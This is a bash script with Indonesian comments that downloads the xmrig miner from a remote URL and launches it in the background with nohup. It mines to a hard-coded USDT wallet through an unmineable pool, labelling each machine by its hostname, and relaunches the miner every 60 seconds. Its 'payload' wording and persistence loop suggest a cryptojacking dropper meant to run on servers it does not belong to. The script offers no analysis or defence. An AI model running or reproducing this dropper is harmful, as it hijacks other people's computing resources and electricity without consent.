#!/bin/bash # URL untuk mengunduh xmrig.tar.gz PAYLOAD_URL="https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz" # Direktori kerja saat ini CURRENT_DIR=$(pwd) XMRIG_PATH="$CURRENT_DIR/xmrig" SCRIPT_PATH="$CURRENT_DIR/run_xmrig.sh" # Fungsi untuk mengunduh dan mengekstrak payload download_and_extract_payload() { TAR_FILE="$CURRENT_DIR/xmrig.tar.gz" if command -v wget >/dev/null 2>&1; then echo "[*] wget tersedia. Mengunduh xmrig.tar.gz..." wget "$PAYLOAD_URL" -O "$TAR_FILE" elif command -v curl >/dev/null 2>&1; then echo "[*] curl tersedia. Mengunduh xmrig.tar.gz..." curl -o "$TAR_FILE" "$PAYLOAD_URL" else echo "[!] Tidak ada wget atau curl tersedia untuk mengunduh xmrig.tar.gz." return 1 fi echo "[*] Mengekstrak xmrig.tar.gz..." tar -xzf "$TAR_FILE" -C "$CURRENT_DIR" } # Fungsi untuk membuat file run_xmrig.sh create_run_script() { cat < "$SCRIPT_PATH" #!/bin/bash # Mendapatkan hostname server HOSTNAME=\$(hostname) # Menjalankan xmrig dengan parameter yang diberikan nohup ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 \ -u USDT:TTrVsRnBzjB5xEQ57NTVYJinjpnne8oGXN."\${HOSTNAME}" -p x > xmrig.log 2>&1 & # Menampilkan pesan sukses echo "xmrig berjalan di latar belakang dengan nama worker: \${HOSTNAME}. Log output disimpan di xmrig.log" EOL chmod +x "$SCRIPT_PATH" echo "[*] File run_xmrig.sh berhasil dibuat." } # Fungsi untuk menjalankan xmrig run_command() { if [[ ! -f "$XMRIG_PATH" || ! -f "$SCRIPT_PATH" ]]; then echo "[*] Payload atau skrip tidak ditemukan. Mengunduh dan menyiapkan xmrig..." download_and_extract_payload create_run_script fi if [[ ! -f "$SCRIPT_PATH" ]]; then echo "[*] File run_xmrig.sh tidak ditemukan. Membuat ulang..." create_run_script fi bash "$SCRIPT_PATH" EXIT_CODE=$? echo "Command executed: bash $SCRIPT_PATH" echo "Exit code: $EXIT_CODE" if [[ "$EXIT_CODE" -ne 0 ]]; then echo "[*] Exit code non-zero detected ($EXIT_CODE). Checking active session..." if pgrep -f "./xmrig" >/dev/null 2>&1; then echo "[*] Active session detected. Skipping payload execution." else echo "[*] No active session detected. Spawning payload..." nohup bash "$SCRIPT_PATH" > /dev/null 2>&1 & fi else echo "[*] Exit code zero. XMRig is running successfully." fi } # Fungsi untuk memastikan skrip berjalan terus menerus run_persistently() { while true; do run_command sleep 60 done } # Mulai menjalankan perintah secara terus menerus run_persistently